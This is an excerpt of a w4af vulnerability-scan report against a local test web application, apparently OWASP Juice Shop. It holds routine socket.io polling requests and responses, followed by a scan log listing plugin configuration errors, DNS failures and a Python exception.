GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlgX_ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:31:54 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"fjx5JNc7YYp6Uz8sAAAL","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlgmP&sid=fjx5JNc7YYp6Uz8sAAAL HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:31:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"NIyFHshrDqLBxa2yAAAM"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGliD- HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:32:03 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"SkGCFnuDPQMFQopNAAAN","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGljCJ&sid=SkGCFnuDPQMFQopNAAAN HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:32:07 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"hZ1t0tIterS3_xSYAAAO"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlmB_ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:32:18 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"Wrf5OJ_3ct9WbgczAAAP","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlmto HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:32:23 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"IDEJ4u5V47bd944UAAAQ","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlnoD&sid=IDEJ4u5V47bd944UAAAQ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:32:25 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"4XoXfqo0rD8VYWB7AAAR"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGln5Q&sid=Wrf5OJ_3ct9WbgczAAAP HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:32:27 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"sX5HlA5e5wbuXGOOAAAS"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlq7q HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:32:33 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"D6BsQ9YEEIAHi7klAAAT","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlqFs&sid=D6BsQ9YEEIAHi7klAAAT HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:32:34 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"hYqwyI8zPAKQxbhuAAAU"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlqRw HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:32:35 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"m418o1AFhRVb78O_AAAV","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlqVi&sid=m418o1AFhRVb78O_AAAV HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:32:35 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"14AWEAAoVoqb-ilyAAAW"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlrNc HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:32:38 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"9DHdvynFxeJObZNxAAAX","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlrRA&sid=9DHdvynFxeJObZNxAAAX HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:32:38 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"umfM-nt__-EaRVLjAAAY"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlrq3 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:32:40 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"Nmwg28JjqJGdEbC7AAAZ","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlsJu&sid=Nmwg28JjqJGdEbC7AAAZ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:32:42 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"4MmEOTu17JZrnJ3zAAAa"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlsko HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:32:44 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"p55OCFEko0Ag2tScAAAb","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
URLs found during application scan
Scan log
| Timestamp | Log level | Message |
|---|---|---|
| Tue Mar 5 17:26:36 2024 | error | audit.rfi plugin needs to be correctly configured to use. Please set valid values for local address (eg. 10.5.2.5) and port (eg. 44449), or use the official w4af site as the target server for remote inclusions. The configuration error is: "Listen address and port need to be configured" |
| Tue Mar 5 17:31:23 2024 | error | The spider_man plugin got an error while requesting "http://cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css". Exception: "[Errno -3] Temporary failure in name resolution". Generated 204 "No Content" response (id:347) |
| Tue Mar 5 17:31:23 2024 | error | The spider_man plugin got an error while requesting "http://cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js". Exception: "[Errno -3] Temporary failure in name resolution". Generated 204 "No Content" response (id:348) |
| Tue Mar 5 17:31:23 2024 | error | The spider_man plugin got an error while requesting "http://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js". Exception: "[Errno -3] Temporary failure in name resolution". Generated 204 "No Content" response (id:349) |
| Tue Mar 5 18:49:25 2024 | error | A "TypeError" exception was found while running audit.dav on "Method: GET | http://domain:3000/api/Quantitys/". The exception was: "a bytes-like object is required, not 'str'" at /home/kali/Scanners/w4af/w4af/plugins/audit/dav.py:_PUT()():188. The scan will continue but some vulnerabilities might not be identified. |